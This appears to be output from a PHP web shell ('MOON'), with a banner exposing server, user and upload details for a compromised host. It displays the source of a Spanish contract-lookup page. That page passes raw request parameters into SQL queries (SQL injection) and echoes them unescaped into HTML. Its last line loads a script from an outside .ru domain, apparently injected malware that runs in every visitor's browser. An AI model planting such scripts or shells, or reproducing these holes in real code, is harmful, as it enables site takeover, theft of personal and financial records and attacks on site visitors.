MOON
Server: Apache/2.2.34 (Unix) mod_ssl/2.2.34 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 FrontPage/5.0.2.2635
System: Linux server.asjudinet.com 2.6.32-042stab141.3 #1 SMP Fri Nov 15 22:45:34 MSK 2019 i686
User: asjudine (504)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: /home/asjudine/www/apostventas/Visualizar_Libranzas_Titular.php
<?php
global $dbi;
require_once("../Conectarse.php");

	 
	 
?>
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="X-UA-Compatible" content="IE=8; IE=9; IE=edge" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    
<style type="text/css">
	*{margin: 0;padding: 0;}
    body{background-color:#FFFFFF;font-family:"Lucida Sans Unicode", "Lucida Grande", sans-serif}
    header {background-color: #B7271F; text-align: center;}
    .cerrarsesion{width: auto;background-color: #DBD8C9;color: #000;font-size: 13px;position:absolute;top: 15px;right:10px;z-index:0;padding: 10px;border-radius: 10px;cursor: pointer;}
    .cerrarsesion:hover{background-color: #ffffff;color: #000;}
    .titulo{width: 100%;text-align: center;background-color: #dbd8c9;color: #b20606;padding: 6px 0;font-size: 18px;}
	.subtitulos{width: 100%;text-align: left;color: #b20606;padding: 2px 0;font-size: 13px;}
    table{margin: 0 auto;border: 8px solid #bebebe; text-align: center;}
    .irmenu{width: 200px;background-color: #1c4fa0;color: #fff; padding: 4px;border-radius: 6px;}
    .irmenu:hover{background-color: #67a0d9; color: #000;}
    
    .fecha{background-color: #d6e08b; padding: 2px;color: #000;font-size: 15px; text-align: center;}
    td{border: #D7D7D7 solid 0.2px;}
    .tdizq{background-color: #EEE; padding: 1px 1px;color: #00135F;font-size: 14px;font-weight: 400; text-align: left;}
    .tdcen{background-color: #EEE; padding: 1px 1px;color: #00135F;font-size: 14px;font-weight: 400; text-align: center;}
    .tdder{background-color: #EEE; padding: 1px 1px;color: #00135F;font-size: 14px;font-weight: 400; text-align: right;}
	.tdroja{background-color: #EEE; padding: 1px 1px;color: #CC0005;font-size: 14px;font-weight: 600; text-align: right;}
	.tdi{background-color: #FDF8D5; padding: 1px 1px;color: #C0292E;font-size: 14px;font-weight: 500; text-align: left;}
    .tdc{background-color: #FDF8D5; padding: 1px 1px;color: #C0292E;font-size: 14px;font-weight: 500; text-align: center;}
    .tdd{background-color: #FDF8D5; padding: 1px 1px;color: #C0292E;font-size: 14px;font-weight: 500; text-align: right;}
	.exp{color:#8A0000; font-size:12px;}
    .boton1{width:200px;background-color: #ffffff;color: #000;padding: 4px;border:1px solid #580000;border-radius:2px;}
    .boton1:hover{background-color: #6f0000;color: #fff;cursor: pointer;}
	.direcciona{width: 200px;background-color: #D4090C;color: #fff; padding: 4px;border-radius: 3px;}
	.direcciona:hover{background-color: #67a0d9; color: #000;}
    input[type=text]{border:groove #191919 0.5px; border-radius: 3px; padding: 3px;background-color: #FFFFFF; font-weight:700px;}
	select{border:solid #191919 0.5px; border-radius: 3px; padding: 3px;background-color: #FFFFFF; font-weight:600px; }
	
	.tdtitulo{background-color: #e3dec0; color: #b20606; padding: 2px; text-align: center; font-size: 12px; font-weight: 900}
    .tdfull{background-color: #fff; color: #000; padding: 5px; text-align: center; font-size: 12px; font-family:Verdana, Geneva, sans-serif;}
	.tdjustify{background-color: #fff; color: #000; padding: 5px; text-align: justify; font-size: 12px; font-family:Verdana, Geneva, sans-serif;}
    .botonnew{width: 90px; background-color: #C0292E;color: #FFFFFF;padding: 1px;border-radius:5px;}
    .botonnew:hover{background-color: #cbbd6a;color: #000;padding: 1px;border-radius:5px;}
</style>
	
	
<script languaje="JavaScript">
function Mostrar_Fecha()
{
         var mydate=new Date()
         var year=mydate.getYear()
         if(year < 1000)		 
                 year+=1900
                 var day=mydate.getDay()
                 var month=mydate.getMonth()
                 var daym=mydate.getDate()  
                 if (daym < 10)
                    daym="0"+daym
                    var dayarray=new Array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado")
                    var montharray=new Array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre")
                    document.write("<b><font face='Arial, Helvetica, sans-serif'>"+dayarray[day]+" "+daym+" de "+montharray[month]+" de "+year+"</font></b>")
}					
</script>


</head>

<body>
<header>
    <img src="../ELEMENTS/bannerInterasjudinet.png" alt="" width=" 700" height="70">
</header>
<h3 class="titulo">CONSULTA DE CONTRATOS</h3>	
	
<form method="post" name="formulario" action="Mostrar_Texto.php">
<table width="726" align="center">
  <!--<tr bgcolor="#0099FF">
    <td colspan="3"><div align="center" class="Estilo1">CONSULTA DE CONTRATOS</div></td>
  </tr>-->
  <tr>
    <td class="fecha" colspan="3"><div align="center">
          <script languaje="JavaScript">Mostrar_Fecha()</script>
    </div></td>
    </tr>
<tr>
    <td>&nbsp;</td>
    <td width="349" colspan="2">&nbsp;</td>
</tr>

<tr>
    <td colspan="3">
    
 <center>

<h1><span style="width:100%"><font color="RED">PARA VISUALIZAR SU LIBRANZA DE CLICK EN DESCARGAR</font></span></h1>

</center>
</center>     
	
	
	
	
<?php

global $dbi;



if ($_GET["libranza"]>="0" and  $_GET["libranza"]<="5000")
  {

//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];

$res = mysql_query("SELECT * FROM libranzas_5000 WHERE cedula = '" . $_GET[cedula]  . "' and numero_contrato = '" . $_GET[contra]  . "' and clase_contrato = '" . $_GET[tipo]  . "' and numero_libranza = '" . $_GET[libranza]  . "' ");
if (!$res) {
	die('Invalid query: ' . mysql_error());
} 


if ((mysql_num_rows($res)!=0))  
{
	printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");

    printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
    	<tr bgcolor='#FFFFCC'>
        <th colspan='5' class='tdtitulo'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
        </tr>
        <tr bgcolor='#FFFFCC'>
		<th class='tdtitulo'>ARCHIVO</span></th>
        <th class='tdtitulo'>NUMERO CONTRATO</span></th>
        <th class='tdtitulo'>NOMBRE TITULAR</span></th>				   
        <th class='tdtitulo'>TIPO CONTRATO</span></th>				   				   
        <th class='tdtitulo'>TIPO DE ARCHIVO</span></th>				   				   
		</tr>");

		while($Filas = mysql_fetch_row($res))
        {
  			printf("<tr><td><div align='center'><a href='descargar_archivos_libranzas.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."&libranza=".$_GET["libranza"]."'  class='Estilo5 Estilo6'>Descargar</a></div></td>
            <td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
            <td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
            <td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>						
            <td><div align='center'><span class='Estilo7'>".$Filas[6]."</span></div></td></tr>");
      	}
	    echo "</table>";   
        mysql_free_result($res);  
					  
  	}
					  
}

///// PERTE 2

if ($_GET["libranza"]>"5000" and  $_GET["libranza"]<="10000")
{


$res = mysql_query("SELECT * FROM libranzas_10000 WHERE cedula = '" . $_GET[cedula]  . "' and numero_contrato = '" . $_GET[contra]  . "' and clase_contrato = '" . $_GET[tipo]  . "' and numero_libranza = '" . $_GET[libranza]  . "' ");


if ((mysql_num_rows($res)!=0))  
{
	printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");

    printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
    <tr bgcolor='#FFFFCC'>
   	<th colspan='5' class='tdtitulo'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
    </tr>
    <tr bgcolor='#FFFFCC'>
	<th class='tdtitulo'>ARCHIVO</span></th>
    <th class='tdtitulo'>NUMERO CONTRATO</span></th>
    <th class='tdtitulo'>NOMBRE TITULAR</span></th>				   
    <th class='tdtitulo'>TIPO CONTRATO</span></th>				   				   
    <th class='tdtitulo'>TIPO DE ARCHIVO</span></th>				   				   
	</tr>");

	while($Filas = mysql_fetch_row($res))
    {
				
				
  		printf("<tr><td><div align='center'><a href='descargar_archivos_libranzas.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."&libranza=".$_GET["libranza"]."'  class='Estilo5 Estilo6'>Descargar</a></div></td>
        <td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
        <td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
        <td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>						
        <td><div align='center'><span class='Estilo7'>".$Filas[6]."</span></div></td></tr>");
     }
	 echo "</table>";   
     mysql_free_result($res);  
					  
}
					  
}	


///// PERTE 3

if ($_GET["libranza"]>"10000" and  $_GET["libranza"]<="15000")
{


	$res = mysql_query("SELECT * FROM libranzas_15000 WHERE cedula = '" . $_GET[cedula]  . "' and numero_contrato = '" . $_GET[contra]  . "' and clase_contrato = '" . $_GET[tipo]  . "' and numero_libranza = '" . $_GET[libranza]  . "' ");
	if (!$res) {
		die('Invalid query: ' . mysql_error());
	} 


	if ((mysql_num_rows($res)!=0))  
	{
		printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");

       	printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
       	<tr bgcolor='#FFFFCC'>
        <th colspan='5' class='tdtitulo'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
        </tr>
        <tr bgcolor='#FFFFCC'>
		<th class='tdtitulo'>ARCHIVO</span></th>
        <th class='tdtitulo'>NUMERO CONTRATO</span></th>
        <th class='tdtitulo'>NOMBRE TITULAR</span></th>				   
       	<th class='tdtitulo'>TIPO CONTRATO</span></th>				   				   
        <th class='tdtitulo'>TIPO DE ARCHIVO</span></th>				   				   
		</tr>");

		while($Filas = mysql_fetch_row($res))
        {
			printf("<tr><td><div align='center'><a href='descargar_archivos_libranzas.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."&libranza=".$_GET["libranza"]."'  class='Estilo5 Estilo6'>Descargar</a></div></td>
            <td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
            <td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
            <td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>						
           	<td><div align='center'><span class='Estilo7'>".$Filas[6]."</span></div></td></tr>");
        }
	    echo "</table>";   
        mysql_free_result($res);  
					  
 	}
					  
}	

///// PERTE 4

if ($_GET["libranza"]>"15000" and  $_GET["libranza"]<="20000")
{

//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];

$res = mysql_query("SELECT * FROM libranzas_20000 WHERE cedula = '" . $_GET[cedula]  . "' and numero_contrato = '" . $_GET[contra]  . "' and clase_contrato = '" . $_GET[tipo]  . "' and numero_libranza = '" . $_GET[libranza]  . "' ");
			if (!$res) {
				die('Invalid query: ' . mysql_error());
			} 


if ((mysql_num_rows($res)!=0))  
{


       printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");

       printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
            <tr bgcolor='#FFFFCC'>
              <th colspan='5' class='tdtitulo'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
             </tr>
            <tr bgcolor='#FFFFCC'>
			       <th class='tdtitulo'>ARCHIVO</span></th>
                   <th class='tdtitulo'>NUMERO CONTRATO</span></th>
                   <th class='tdtitulo'>NOMBRE TITULAR</span></th>				   
                   <th class='tdtitulo'>TIPO CONTRATO</span></th>				   				   
                   <th class='tdtitulo'>TIPO DE ARCHIVO</span></th>				   				   
		    </tr>");

			while($Filas = mysql_fetch_row($res))
            {
  printf("<tr><td><div align='center'><a href='descargar_archivos_libranzas.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."&libranza=".$_GET["libranza"]."'  class='Estilo5 Estilo6'>Descargar</a></div></td>
                        <td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>						
                        <td><div align='center'><span class='Estilo7'>".$Filas[6]."</span></div></td></tr>");
            }
	                   echo "</table>";   
                      mysql_free_result($res);  
					  
         }
					  
}	

////PARTE 5

if ($_GET["libranza"]>="20000" and  $_GET["libranza"]<="30000")
  {

//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];

$res = mysql_query("SELECT * FROM libranzas_30000 WHERE cedula = '" . $_GET[cedula]  . "' and numero_contrato = '" . $_GET[contra]  . "' and clase_contrato = '" . $_GET[tipo]  . "' and numero_libranza = '" . $_GET[libranza]  . "' ");
			if (!$res) {
				die('Invalid query: ' . mysql_error());
			} 


if ((mysql_num_rows($res)!=0))  
{


       printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");

       printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
            <tr bgcolor='#FFFFCC'>
              <th colspan='5' class='tdtitulo'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
             </tr>
            <tr bgcolor='#FFFFCC'>
			       <th class='tdtitulo'>ARCHIVO</span></th>
                   <th class='tdtitulo'>NUMERO CONTRATO</span></th>
                   <th class='tdtitulo'>NOMBRE TITULAR</span></th>				   
                   <th class='tdtitulo'>TIPO CONTRATO</span></th>				   				   
                   <th class='tdtitulo'>TIPO DE ARCHIVO</span></th>				   				   
		    </tr>");

			while($Filas = mysql_fetch_row($res))
            {
  printf("<tr><td><div align='center'><a href='descargar_archivos_libranzas.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."&libranza=".$_GET["libranza"]."'  class='Estilo5 Estilo6'>Descargar</a></div></td>
                        <td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>						
                        <td><div align='center'><span class='Estilo7'>".$Filas[6]."</span></div></td></tr>");
            }
	                   echo "</table>";   
                      mysql_free_result($res);  
					  
         }
					  
}



	
echo "<script>alert('Número de radicación no encontrado');<script>";
 
?>   
</td>
  </tr>

</table>
</form>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>